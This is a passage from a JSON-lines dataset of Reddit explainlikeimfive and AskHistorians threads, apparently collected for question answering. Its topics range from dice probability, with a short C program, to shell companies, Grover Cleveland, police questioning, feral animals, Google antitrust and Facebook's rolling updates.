     int rolls=0, d10more=0;\n       \n       for (int d10=1;d10 < =10;d10++) {\t//d10\n          for(int d20a=1;d20a < =20;d20a++) { //d20 #1\n             for(int d20b=1;d20b < =20;d20b++) { //d20 #2\n             \trolls++;\n                if (d20a < d10  &  &  d20b < d10) d10more++;\n             }\n          }\n       }\n       \n       printf(\"Total rolls: %d, d10 was greater %d times, P=%f\\n\", rolls, d10more, (float)d10more/(float)rolls);\n    }\n\nAll this program does is generate all possible tuples of (d10, d20a, d20b), tally up how many rolls were made in total^0 and how many times a tuple occurred where the d10 roll was higher than both the d20 rolls (the _if_ statement), and when done output the result.\n\nRunning the compiled program gives us the following output:\n\n````Total rolls: 4000, d10 was greater 285 times, P=0.071250````\n\nThus, 285 times out of 4000, the d10 will have a greater value than either d20.  This equates to a probability of **7.125%**.\n\nHTH!\n\n-----\n^0 -- we didn't really need to tally up the number of rolls, as we already knew it was going to be 4000.  But this helps you to verify that the code itself is correct in generating all possible tuples of the dice, so I added it in.  Computationally, it would have been _very slightly_ more efficient to define the number of sides as constants, compute the total number of rolls by multiplying them together instead of incrementing a counter, and then using that in the final calculation.  But this is shorter and easier to read.", "If the D10 is 10, we need D20a to be less than 10 and D20b to be less than 10. The odds of both of those are 9/20, as there's 9 rolls that are less. So 9/20\u00d79/20, as we need both to occur  The odds of this D10 = 10 case is 1/10. So 81/4000 for this case. 9 more options for D10 though. Repeat for D10 = 9. Same 1/10 odds, now 8/20\u00d78/20 of it working given a 9. 64/4000. And so on. \n\n\nOr more succinctly, the probability is for k = 1 to 10, 1/10 \u00d7 (k-1)/20 \u00d7 (k-1)/20 = (k-1)^2 /4000 = 81/4000 + 64/4000 + 49/4000...  = 285/4000 = 7.125%. Seems to match the excessively long software simulation answer, so pretty sure that's right.", "Out of 20\\*20\\*10 = 4000 possible combinations from the three dice, the number of times the d10 is larger than both the d20s is\n\n1^(2)\\*9 + (2^(2) - 1^(2))\\*8 + (3^(2) - 2^(2))\\*7 + (4^(2) - 3^(2))\\*6 + (5^(2) - 4^(2))\\*5 + (6^(2) - 5^(2))\\*4 + (7^(2) - 6^(2))\\*3 + (8^(2) - 7^(2))\\*2 + (9^(2) - 8^(2))\\*1\n\n= 285\n\nThat's doing it in my head, someone let me know if I screwed up. It looks like it matches /u/YaztromoX though\n\nThe logic comes from, imagining a 20\\*20\\*10 grid with all possible combinations of dice throws, with 1-based indexes in all directions, and looking for the region within where the z height is higher than the extent in the x or y directions. Here I'm associating the d10 with the z direction. The region looks like an inverted pyramid, I think. For a fixed maximum value of the d20s, the area in the xy plane representing a pair of d20 rolls where neither d20 exceeds that maximum is a square, so in the z direction you have to be higher than the side length of that square. So you're basically summing up terms of the form k\\*k\\*(10 - k), except you also have to make sure you don't double-count areas, hence the subtractions.", "Everyone is doing coding simulations that obfuscate the reasoning when this is really just a pen and paper probability/math problem.\n\nImagine you roll a 1 on D10, what are the odds that's higher than both D20?  It's 0.  What about a 2?  That's only higher if you roll two 1s D20, so 1/20 x 1/20, or 1/400.  If you roll a 3 D10 then the D20s can be 1 or 2, so the probability is 2/20 x 2/20, or 4/400.  Continue this way and you find that if you roll an n, the odds it beats both D20s is (n-1)^2 /400.  So we just sum this from 1 to 10, and divide the total answer by 10 because each D10 roll has a 1/10 chance.\n\nRe-indexing, this is the same as summing n^2 /4000 from 0 to 9.  The sum of n^2 to k equals k(k+1)(2k+1)/6, so for k=9 we get 285/4000, or 7.125%.  This procedure generalised well, the 4000 is from 20x20x10 and the 285 is the k(k+1)(2k+1)/6 formula for k=10-1 (because you didn't count ties we didn't sum to 10).  If you use a D8 and 2 D12s, the probability is 140/1152 or ~13%", "Let's roll the d10 first, and call the result X. X has a 1/10 probability of being each number from 1 to 10.\n\nNext let's calculate the probability that each d20 is lower than that. The probability that a d20 is lower than X is (X-1)/20. So the probability of both d20s being lower than X is ((X-1)/20)^2, because the probability of two independent events both occurring is equal the product of their probabilities.\n\nNext we can just step through all the possible values of X (1 through 10) and calculate the probability of a \"success\" (both d20s being lower)\n\n* When the d10 is 1, it is never higher than the d20s, so we have 400 failed outcomes and 0 successful outcomes.\n* When the d10 is 2, the only outcome where both d20s are lower is if they are both 1, which has a probability of 1/400. So we have 1 success outcome and 399 fail outcomes. Using the formula, X is 2, so ((X-1)/20)^2 is 1/400.\n* Going forward, we can just plug in 3 to 10 into X, and add up the results that we get from the ((X-1)/20)^2 equation for each case.\n\nBasically we are summing over a series, so you could write this down as a single mathematical expression.\n\nP = [sum as X goes from 1 to 10 of ((X-1)/20)^2 ]/10\n\nP = 7.125%", "Although the problem has been thoroughly addressed by the other posters, I'd like to point out that there's a really handy free tool available for exactly this kind of problem called [Anydice](_URL_1_). If you play a lot of dice games like DnD, and want to calculate probabilities for dice rolls, consider using this.\n\nThe solution for this problem is given with the following code:\n\n`output 1d10  >  [highest 1 of 2d20]`\n\nThe [resulting table/graph](_URL_0_) (I also added the individual probabilities) indicates that the probability is 7.13% (rounded up from 7.125%)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://anydice.com/program/1a573", "https://anydice.com/"]]}
{"q_id": "u0equ", "title": "Why was Grover Cleveland able to rewin the presidency in 1892 after the loss to Harrison in 1888? ", "selftext": "Also, why did his political career continue after his presidency?  No one term president today would ever be re-elected after losing a re-election bid in the past.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/u0equ/why_was_grover_cleveland_able_to_rewin_the/", "answers": {"a_id": ["c4rcq1j", "c4rexr5"], "score": [3, 3], "text": ["IIRC, the opposition to Cleveland's proposition to reduce tariffs created a strong campaign from businessmen for Harrison's election, though the tariff reform bill that was passed under Harrison which increased duties didn't match economic realities of the time, so the populace figured they had chosen poorly, leading to Cleveland's reelection. I may be able to flesh out the details for you later if I don't get caught up in the fervor of the evening's Devils/Rangers matchup.", "Politics during the Gilded Age was fairly oligarchical in the sense that candidates were chosen by a few party leaders, so it was not hard to have a fairly popular ex-president to become a candidate once again. Also as others have mentioned Harrison became fairly unpopular after an election against Cleveland in which there was some rigging and low enthusiasm for local Democratic candidates in swing states. Ultimately Cleveland won the popular vote but lost the electoral college. Imagine if after the 2000 election there was evidence of major fraud by Republicans in Florida and Gore still won the popular vote but lost the electoral college, Gore didn't go into crisis mode afterward, and instead of 9/11 there was an economic disaster. Gore may have been an attractive candidate in 2004."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ef605w", "title": "wealth tax", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ef605w/eli5_wealth_tax/", "answers": {"a_id": ["fbyhkju"], "score": [3], "text": ["You\u2019ve hit on the major issue that in practice makes a wealth tax complicated. \nPure cash: easy. \n\nSemi-liquid things like stocks and bonds: also pretty easy since they have a market value.\n\nTangible / Real property: Trickier but appraisals are a thing and banks have figured that part out fairly well. Plus, we know they are at least worth what you paid for them.\n\nIntangible property: Things like ideas, patents, goodwill, brand names, etc. don\u2019t have a value until they are sold to a willing buyer, which isn\u2019t all that often for a given entity.\n\nWhat will need to happen is that a valuation is given to these intangibles, most public companies have to estimate them anyway. It will likely become a new tax reporting requirement. \u201cBut won\u2019t they just tank the value to avoid tax?\u201d In theory yes, but then that makes it easier for someone to buy you out or harder to get loans since your collateral is less valuable; it\u2019s a push-pull."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "nubbs", "title": "with how effectively reddit is shaping the world around it, exactly how big is reddit?", "selftext": "I came across reddit not too long ago, and thought it was a great place to get a quick laugh. As the months progressed, I found that there was actual INTELLECT here, and I could actually engage in a decent conversation about a topic that I was interested in. So, I joined up. Now I'm seeing Reddit in the news, in magazines, and it's on the lips of a LOT of people. What I'd like to know is HOW BIG is reddit, really?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/nubbs/eli5_with_how_effectively_reddit_is_shaping_the/", "answers": {"a_id": ["c3bzu8e", "c3bzu8e"], "score": [5, 5], "text": ["Almost impossible to tell. There are somewhere between 20 and 30 million unique visitors per month, of whom perhaps 50% are from the US, 30% from the EU and 20% (still a massive 4-6 million) spread around the rest of the world.\n\nThose numbers compare favorably with pretty much any 'old world' media house, be it NYTimes, CNN or even BBC. What might be even more significant is that there is a massively viral quality to reddit due to it being very 'cool' right now, which inflates its real influence.\n\nAdd to this the fact that particularly outside the US, the average redditor is by no means an average citizen - \"international elite\" seems very cliche, but there's something to it. This becomes especially significant because such a huge number of people get interactive access to people they're really curious to hear from.\n\nAlso: it creates very strong societies across borders. For example /r/atheism is a major force in Southern US, but I suspect it'll be an even bigger force soon in the Muslim world, where it in many ways is a religious organization with the best arguments ever (for being true and verifiable) and a fantastically organic organizational structure. Hell, it is very hard to imagine a much better platform for secularizing the more religious areas in the world, and if that isn't huge, I don't know what is (and that's just one example of what reddit can do).", "Almost impossible to tell. There are somewhere between 20 and 30 million unique visitors per month, of whom perhaps 50% are from the US, 30% from the EU and 20% (still a massive 4-6 million) spread around the rest of the world.\n\nThose numbers compare favorably with pretty much any 'old world' media house, be it NYTimes, CNN or even BBC. What might be even more significant is that there is a massively viral quality to reddit due to it being very 'cool' right now, which inflates its real influence.\n\nAdd to this the fact that particularly outside the US, the average redditor is by no means an average citizen - \"international elite\" seems very cliche, but there's something to it. This becomes especially significant because such a huge number of people get interactive access to people they're really curious to hear from.\n\nAlso: it creates very strong societies across borders. For example /r/atheism is a major force in Southern US, but I suspect it'll be an even bigger force soon in the Muslim world, where it in many ways is a religious organization with the best arguments ever (for being true and verifiable) and a fantastically organic organizational structure. Hell, it is very hard to imagine a much better platform for secularizing the more religious areas in the world, and if that isn't huge, I don't know what is (and that's just one example of what reddit can do)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4d7mq6", "title": "what is a shell company and why are people mad about some of the worlds elite owning them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4d7mq6/eli5_what_is_a_shell_company_and_why_are_people/", "answers": {"a_id": ["d1offl7", "d1onwrr", "d1os9sh", "d1otibn", "d1ouv5a", "d1p18h2"], "score": [33, 12, 2, 9, 2, 3], "text": ["A shell company is a fake company set up somwhere with loose tax laws or to hide money. I could set up a corporation in the Bahamas for a small fee and pay them for \"consulting services\" to avoid paying taxes or to keep my ex-wife from getting it.\n\nThere's more to it than that, but that's the gist of it.", "Planet Money have your back. They set one up to investigate what they are and what you can do with them.\n\n_URL_0_", "A shell company is usually just a mailbox somewhere.  You set it up, incorporate it somewhere (eg: the bahamas) to expatriate money, avoid taxes, hide money, or reap some other benefits.  \n\nNow pretend you're a politician, raising taxes, and reaping the benefits of public office.  Would you say it's unethical to hide your money from the populace while taking everyone elses?  Well yes, and that's what people are angry about.  It's blatant corruption all over the world over (no surprise) that's actually documented (big surprise).", "Some good answers but I wanted to elaborate with an example. Say you own company Jibagong in USA and you made 1 billion dollars this year and the tax liability is 15% or 150 million dollars, well, say you also own company Kadonka in Bahamas. Company Kadonka bills company Jibagong 1 billion dollars in consulting fees and now Jibagong is doing fine, paid all its bills but has no profit remaining to pay tax on, while Kadonka declares the 1 billion dollar income and pays Bahamas 1% tax rate and effectively saves themselves 140 million dollars in tax liability. ", "You can also use them to give the wealth of your nation to yourself and your buddies and hide it it all.\n\n_URL_0_", "Good answers already here, I'd like to add some context to this whole deal. Here's the thing. *Shell Companies are not even the most popular tax dodges*. People are getting up in arms about all the taxes companies have avoided paying, which they should be, but a simple look around the business world reveals numerous and diverse tax dodges being used constantly and by everyone. The real problem here is: \"how do we collect taxes when a bunch of poorer countries will do anything to attract wealthy consumers?\". It's a difficult one to grapple with."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.npr.org/sections/money/2012/07/27/157499893/episode-390-we-set-up-an-offshore-company-in-a-tax-haven"], [], [], ["http://www.theguardian.com/news/2016/apr/03/panama-papers-money-hidden-offshore"], []]}
{"q_id": "2jezfv", "title": "How did large ($100 million ++) global companies manage and grow their businesses before calculators and spreadsheets?", "selftext": "Just wondering- you couldn't even sort a sheet by customer name or revenue to know who to focus on?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2jezfv/how_did_large_100_million_global_companies_manage/", "answers": {"a_id": ["clbz34m"], "score": [7], "text": ["Accounting and bookkeeping are some of the oldest professions, with evidence for their existence dating back over 7,000 years, to the neolithic (stone age) period. In fact, the advent of accounting is largely responsible for the advent of written numbers and language. Back then the largest business organizations were effectively governments, but the fundamentals worked out the same way: whether it's an empire or a corporation all that really matters is that the wealth keeps flowing. And to achieve that you don't need the massive data crunching and networking abilities of modern computers, a modular structure works just fine.\n\nEvery transaction involves a human, so there's the capability to keep track of the transactions if you have the staff to do so. From there it's mostly a matter of summary data being transmitted elsewhere, and then summaries of summaries. A 4th century BCE empire would still have access to a great deal of data regarding the business of the empire but primarily it only needs the summary data. How much grain was grown in an entire province, for example, rather than who grew it and where and so forth. Data that may exist in records some where or merely in some clerk's head, but for the most part data that isn't hugely relevant and not worthy of the cost of trying to keep track of it at every level.\n\nMuch of the historical record in the form of written language from the most ancient civilizations is actually just accounting data. Interestingly, a lot of the historical, versus archaeological, evidence we have about the bronze age collapse is in the form of requests for grain between different parts of empires and other forms of administrative correspondence.\n\nUntil the present day it was necessary for any organization needing to perform accounting for its activities needed to employ a great number of people to do so, depending on scale. The Romans, for example, employed an enormous number of scribes, clerks, and tax collectors. And the British as well as Dutch East India Companies employed thousands of clerks. Throughout history millions upon millions of people have served as record keepers, accountants, clerks, etc. For a very long time the term \"computer\" referred not to a machine but to an individual who performed computations by hand, and there were a great many of them employed prior to the advent of electronic computers.\n\nAs a recent example, consider IBM. They did not spring to life in the computer era, they began decades prior, as the \"Tabulating Machine Company\" dating back to the 1880s. Their earliest lucrative business was in providing automated tabulating machinery using punched cards to the US Census bureau to aid in the censuses of 1890 and 1900. By the 1940s the company had grown to have revenues above $100 million (nearly $2 billion adjusted for inflation for their 1945 revenue), so you can imagine how widespread use of their equipment was. So you can imagine the total revenue of all the companies that used their equipment. And if you think about the fact that for the most part such equipment was used to replace clerks, that gives you some idea of the scale of the total number of clerks employed at the time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "j8epg", "title": "explain how to talk to police? li5.", "selftext": "I know it is frowned upon to talk to police without contacting legal representation, especially on reddit. I also know that it's bad to let police look around without issuing a warrant. But I'm not exactly sure what limits the police do have on searching and questioning someone hey suspect of committing a crime. \n\nHow exactly should I react when confronted?\nTo what extent can police use my words to incriminate me? \nAt what point does exercising my Miranda rights cross into the realm of insubordination?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j8epg/explain_how_to_talk_to_police_li5/", "answers": {"a_id": ["c29zo1s", "c29zr7i", "c29zsj6", "c2a1lhb", "c2a9hgt", "c29zo1s", "c29zr7i", "c29zsj6", "c2a1lhb", "c2a9hgt"], "score": [5, 4, 4, 3, 2, 5, 4, 4, 3, 2], "text": ["Explained like you're 5: DON'T", "Do not talk to the police.  There are some questions you are legally required to answer, like who you are, but beyond the basics don't say anything about what you're doing or why.  Even if you're completely innocent, information that you provide can only ever be used to hurt you.  If you get stopped in a neighborhood and tell the police you were at your grandma's down the street, and they're looking for a murderer with your description, then you've talked yourself into trouble.\n\nAlso, snitches get stitches.", "All you HAVE to legally provide is a name.  Of course, in the real world, common courtesy is king.  Be nice and respectful.  You can choose not to answer any questions, and if you're doing bad things you probably shouldn't answer those questions.  Anything you say can be made to sound different.  At the end of the day, their word is more important than yours to people like the judge.  Just respond with \"I'd really like to call my lawyer/mom/dad before I answer anything, I'm sure you understand\".  Make sure to be polite about it and not sound like you're trying to just be smarter than the cops.  ", "Tell the police everything they want to know and more. \n\nIt's for your safety. \n\n", "Can anyone explain this for Canadians?", "Explained like you're 5: DON'T", "Do not talk to the police.  There are some questions you are legally required to answer, like who you are, but beyond the basics don't say anything about what you're doing or why.  Even if you're completely innocent, information that you provide can only ever be used to hurt you.  If you get stopped in a neighborhood and tell the police you were at your grandma's down the street, and they're looking for a murderer with your description, then you've talked yourself into trouble.\n\nAlso, snitches get stitches.", "All you HAVE to legally provide is a name.  Of course, in the real world, common courtesy is king.  Be nice and respectful.  You can choose not to answer any questions, and if you're doing bad things you probably shouldn't answer those questions.  Anything you say can be made to sound different.  At the end of the day, their word is more important than yours to people like the judge.  Just respond with \"I'd really like to call my lawyer/mom/dad before I answer anything, I'm sure you understand\".  Make sure to be polite about it and not sound like you're trying to just be smarter than the cops.  ", "Tell the police everything they want to know and more. \n\nIt's for your safety. \n\n", "Can anyone explain this for Canadians?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "2u1uji", "title": "can animals become feral?", "selftext": "So when humans are raised by other animals (and are removed from human contact), they become \"feral\" as in they can't properly / have a hard time communicating with other people and generally have a tough time learning a human language.\n\nThat being said, can animals become feral? Suppose a puppy is taken from his mother as soon as it's born, or a chinchilla and don't communicate with others of their kind... are they still able to properly communicate with other dogs/chinchillas or do they exhibit traits to humans who are feral.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2u1uji/eli5_can_animals_become_feral/", "answers": {"a_id": ["co4d68l", "co4dm70", "co4m6mf"], "score": [25, 2, 4], "text": ["Pigs revert.  When domesticated pink pigs escape barnyards and get into the woods, their hair grows thick and bristly and they grow tusks.  It doesn't take them generations to do this, the actual pig who escaped gets wild again.", "We have feral cats living in our local park (which is practically a small forest).", "The word \"feral\" originally refers to domestic breeds of animals that live in the wild without humans.  So feral dogs that live on garbage dumps and not with people, or feral horses that escaped from the Spanish and lived wild on the American plains, or feral goats which were placed ashore on many deserted islands by sailors and lived there without people.  So in that sense there are many feral animals.\n\nBut you mean feral by analogy with feral humans, which is a term sometimes used to discuss people who grew up mostly without human contact.  Animals raised without social contact with their own species also exhibit behavioral changes.  I'm finishing up my dissertation and it has a chapter on this exact topic.  In my experiment, I raised fish (that aren't even social, really) in isolation and with another fish of the same age.  The isolated fish wound up smaller, and they seemed less able to modify their aggressive behavior according to the situation.  Other research has been done on animals like rats, which if deprived of contact with other rats also show aggression at inappropriate times.  Many songbirds fail to learn the song of their particular species if not allowed to hear it at the right time.  Animals that imprint may imprint on the wrong species if the appropriate model is not present.  \n\nAs for communication....communication in dogs isn't like people talking to each other. There are no words to learn (or fail to learn).  But think about the nonverbal cues that people pass back and forth: body posture and facial expressions that tell you how someone is feeling.  It's the dog equivalent of those that makes up dog communication--instinctive, but in the sense that it's something that is partly instinctively learned at a young age.  Kind of like walking.    Without social contact at a young age, a dog would be worse at reading these signals (which probably leads to aggression at the wrong times, etc).  Also, stress at a young age from insufficient \"motherly love\" really messes with the parts of the mammal brain that deal with social interaction.  In sum, they'd be less far from the dog norm than a feral human would from the human norm, because humans rely a huge amount on learning specific things like language, but they'd still likely show some behavioral effects.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1s3qi0", "title": "why do immigrant activists think illegal immigrants should be allowed to stay in the us even though they are breaking the law?", "selftext": "I hope this doesn't break the 'loaded question' rule. I am really trying to understand this issue. \n\nEmotionally I have sympathy for families being broken up through deportation. But logically isn't it bad if we let people break the laws openly and wouldn't that encourage more people to break the law?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1s3qi0/eli5why_do_immigrant_activists_think_illegal/", "answers": {"a_id": ["cdtlcon", "cdtlez0", "cdtlo1b", "cdtmqgq", "cdtmupz", "cdtph6m", "cdtpnif", "cdtrtko", "cdtvnu1"], "score": [21, 4, 46, 19, 5, 2, 8, 2, 2], "text": ["The general idea isn't usually that they be allowed to continue to be here illegally, but that they should be given an opportunity to stay here legally (i.e. by getting a visa).  The idea is that if it becomes easier to immigrate legally, more people will do that (and become taxpayers) rather than live with the risk of deportation.\n", "Their stance is often that the illegals shouldn't be considered illegal to begin with, and that people should be allowed to come here legally. Others see it as being a disproportionately cruel punishment to take someone who has established a family and home in the US to have all that taken away for coming ere illegally to begin with. Furthermore, the deportation would inevitably just hurt the families, many of which are citizens (via birth etc). Those people often support a statute of limitations clause allowing people who have lived and worked here for a given amount of time to have legal status. ", "Sorry if this is obvious, but when people say \"X should be allowed\" even though X is illegal, they're usually not advocating breaking the law, they're advocating changing the law to make X legal.", "Well let me explain from the perspective of a child brought by their parents. Let's say you're an infant and your parents illegally bring you to the U.S. The Supreme Court case Plyer v. Doe guarantees you a free k-12 education, no questions asked. You were brought here through no fault of your own, you were innocent. You grow up alongside your American peers. You identify with American culture and are way more American than you are, say, Mexican. \nLets say you defy the incredible odds against you and survive the broken American education system and are top of your class.You have been socialized your whole life by your family, teachers, the media, etc. that doing well in school is the ultimate good. Unfortunately for you, your education is only guaranteed through 12th grade so you may be the valedictorian but you can't get into college. Maybe you do get in to college but are forced to pay outside tuition fees (sometimes up to triple the in-state cost) because people claim you are not a citizen. On top of that you do not qualify for any financial aid. ON TOP OF THAT, you can graduate as the top of your class in college and be the most educated person in the world but you still can't get employed legally because you are not a citizen. At any moment throughout that you can be deported because you are not a citizen. \nThese are not hypotheticals either. These are things that have happened to countless people at various stages. Now I ask you, in this situation, is it right for you to be deported? The government invested in your education for 13 years, is it not more beneficial to the country for you to be allowed to stay and pay back that investment by becoming an adjusted member of society and contributing to the economy? You may be one of the brightest young minds in the U.S. but the U.S. does not want to call you theirs, is that fair? It wasn't your fault you were brought here illegally all those years ago. Is it not better for all parties involved for you to instead be granted citizenship? ", "The Dream Act is one of the main bills supporting this measure. Most illegal immigrant activist support amnesty for children that were born in another country but raised in the US. These children were not responsible for their decision to come to the US and have very few connections to their home country. Some don't even speak their parents' language and would have no resources if they were deported. It's only one aspect of the immigrant issue but is one that has received a lot of sympathy from supporters in both political parties.", "Because they think the law is immoral and like all immoral laws it may be nonviolently disobeyed until it is changed.", "Even though the U.S. allows more LEGAL immigrants than all other nations combined, people still want more.  We cannot take all people from all over the world, there has to be a limit.  The limit is easily high enough already.\n\nTake Mexico for example.  They have some of the harshest laws against illegal immigration which is usually targeted at the Guatemalans that illegally enter Mexico to work.  The Mexican government understands that it is bad for a country to allow an unlimited number of very poor people to sneak into its country.  But, if you say that in the U.S., people will call you racist.\n\nRead some of Ceasar Chavez's writings.  He was very against illegal immigration because he said it drives down wages for the poor that are legally here.  His message has been corrupted by today's crusaders. ", "The short answer is they think US law doesn't let in enough legal immigrants and that these people should have been allowed in anyway. \n\nAs to whether or not they are right, well that's a separate issue.  \n\nFor the same reason people think you shouldn't be throwing people in jail for pot smoking: they think that the law is wrong.  ", "People arguing for amnesty don't care about the law or the economics. Their starting point is either 1. I want more people like me or 2. Those poor people should have a chance here or 3. More easy Democratic voters!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "40qail", "title": "why does semi-colon have priority over colon on english keyboards?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/40qail/eli5_why_does_semicolon_have_priority_over_colon/", "answers": {"a_id": ["cyw9jge", "cywdec6", "cywidyw", "cyx5flo"], "score": [87, 9, 3, 2], "text": ["Semi-colons are great; I use them all the time.\n\nThere are two main reasons, originally the keyboards for typewriters were designed this way to reduce jamming. The semi-colon is also [used a lot in programming languages](_URL_0_) so it is handy not needing to press shift at the end of every like of code.", "If I had to guess, the keyboard designers lived in a time when people knew proper semicolon usage (which is pretty damn often). It seems like a questionable decision only when you realize that people need an [Oatmeal comic](_URL_0_) to explain when to use it. ", "When the keyboard was developed there was more common use of the semi-colon. If you read works written in the 17 & 1800s you'll find many more examples than you will today. Reading \"Wealth of Nations\" you'll find as many semi-colons as periods. Take a look at the link below for proper usage:\n\n_URL_0_\n\nThe colon has only one use, while the semi-colon has multiple uses and enables a writer to more accurately reproduce speech. Semi-colon usage has dropped off as such things as the dash (-) have come into use. Laziness and poor writing skills are at the heart of the decline of the semi-colon. ", "Semi-colons actually have an impressive variety of uses. There's even a [song](_URL_0_) out there that is nothing but examples. It's just not one of the more common punctuation marks as it's fallen out of style."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://36.media.tumblr.com/tumblr_m4y213pGlc1qa0uujo1_1280.jpg"], ["http://theoatmeal.com/comics/semicolon"], ["http://theoatmeal.com/comics/semicolon"], ["https://www.youtube.com/watch?v=M94ii6MVilw"]]}
{"q_id": "bpnr8p", "title": "italy\u2019s antitrust authority is investigating google for alleged abuse of dominant market position. why is this a problem if google is everyone\u2019s go to(for the most part)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bpnr8p/eli5_italys_antitrust_authority_is_investigating/", "answers": {"a_id": ["envg2wu", "envgup0", "envhx9w", "envph8a"], "score": [16, 5, 3, 15], "text": ["Because one company lording over everything isnt a good idea for consumers. \n\nThat being said, I'm posting from an android phone and google is my homepage. So it's safe to say I'm a google sheep. Welcome Google overlords.", "The anti-trust investigation is based around android instead of Google as a search engine. Its primarily based around the approval processes for apps as an Italian app got refused aallegedly because it was competition for a Google product.\n\nIt's not their first anti-trust suit in the EU, the EU itself recently imposed an anti-trust fine over the pre-bundling of apps making it an unfair competitive ground for third party developers. The basis of this is; if you have to install the Google option, they are forcing it on consumers, who will then not seek other services.\n\nThe weird thing is that they haven't started pursuing Apple who do exactly the same thing.", "Google is everyone's go to because there really isn't a good alternative. Yeah, Bing/Yahoo/DuckDuckGo exist, but they just aren't as thorough as Google is. Factor in that Gmail is one of the most popular email services, YouTube is the largest and most complete collection of online videos, and that most phones run Android gets you to a point where it's pretty apparent that Google holds a pretty strong position as a market leader. The concern is mainly that if Google has no competition, it could do what it wants and people would have to follow or lose access/pay more/whatever our Google overlords tell us to do.\n\nThat being said, the services Google provides me in exchange for my soul are pretty useful, so I don't really have any personal issues with them.", "Notice that they aren't investigating Google for **being** dominant, they are investigating them for \"alleged **abuse** of dominant market position.\"\n\nHere's a made-up example. Suppose you are the #1 search engine. That's not the problem. Now, suppose you tweak your search engine so that whenever someone searches for iPhone, it only shows them Android phones. That is an abuse of your dominant position in one market to gain share in a different market.\n\nI don't know the details in this particular case, but it is usually this kind of cross-market behavior that gets you in trouble. It was the same idea when Microsoft used it's dominant position in PC operating systems to kill the NetScape Web Browser. They built Internet Explorer right into Windows and made it the default browser, which got them into the same kind of trouble that Google is in now."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1bzbkg", "title": "the trajectory of a bullet.", "selftext": "How would you need to adjust your aim, to allow for the trajectory of a bullet.\nBased on a variation of different heights firing down upon the same target, a certain distance away. ^Fig.1\nAnd also a shooter sitting at a singular height firing upon multiple targets at varying distances. ^Fig.2\n(I am talking about a sniper rifle, but any information regarding firearms in general will be greatly appreciated.)\n\nFig. 1 - _URL_1_\nFig. 2 - _URL_0_\n\nedit: Formatting\n\nUPDATE: Marked as Answered. Received the answers I was looking for. Many Thanks to everyone who even bothered to click the link. Special Thanks to: LondonPilot , Wumba_C , orbital1337 , pwaves13 , weasel-like , falcorn_dota , ehood182 , senyushkin for all the information you provided.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bzbkg/eli5_the_trajectory_of_a_bullet/", "answers": {"a_id": ["c9biiwb", "c9bj9i4", "c9bjyao", "c9bkwv0", "c9bl55s", "c9bmmst"], "score": [3, 5, 4, 3, 8, 2], "text": ["It depends very heavily on the muzzle velocity (speed of the bullet)", "Back in HS my physics teacher had a cool experiment with a low speed BB gun and a stuffed monkey attached to the ceiling.  He had it rigged so the gun fired at the same time as the monkey dropped and the BB hitting it square on in mid air.  Bullets accelerate down the same as any other object just they move so fast it is hard to see.", "I'm sorry but, what exactly is your question?\n\n", "So does the bullet land flat on the ground or does it point in the direction of its trajectory and hit the ground point first?", "For a 5-year-old: \n\nA bullet only has enough power to go a certain distance. If you shoot the bullet really high, it won't go very far forward, but if you shoot a bullet really far forward, it wont' go very high. \n\nThere are a few big things that will affect the bullet speed though: wind and gravity. Wind will slow it down, and gravity will pull it toward the ground. \n\nWhen a bullet moves through the air, it makes an \"arc\" which is like a bendy line. It never makes a fully straight line, because of wind and gravity. ", "This seems like we're doing someone's homework assignment..."]}, "title_urls": [], "selftext_urls": ["http://tinypic.com/r/2rr9ttj/6", "http://tinypic.com/r/11ietfa/6"], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1hz8pj", "title": "how does facebook update itself, yet i've never seen it go down for maintenance?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hz8pj/eli5_how_does_facebook_update_itself_yet_ive/", "answers": {"a_id": ["cazf230", "cazfg54", "cazkhgs", "cazpcau"], "score": [11, 2, 2, 2], "text": ["Each time you visit facebook, you're hitting one of their hundreds (if not thousands) of servers.\n\nKnowing that, they're probably doing rolling updates across their entire server farm.\n\nFor example, if facebook is served by 1000 servers, they might bring down 250 of them for updating, while keeping the remaining 750 up to handle visitors.  Once the original 250 are updated and running again, they'll bring down another 250, so on and so forth.\n\nSo at no time are all of their servers down for maintenance.", "Here's an article on how Facebook releases updates _URL_0_", "I seem to remember that new features are rolled out in stages according to the users, too.\n\nNot everyone had timeline from the same moment.", "Here is a tech talk video where they talk about how they basically do their engineering and release cycles:  \n_URL_0_\n  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], 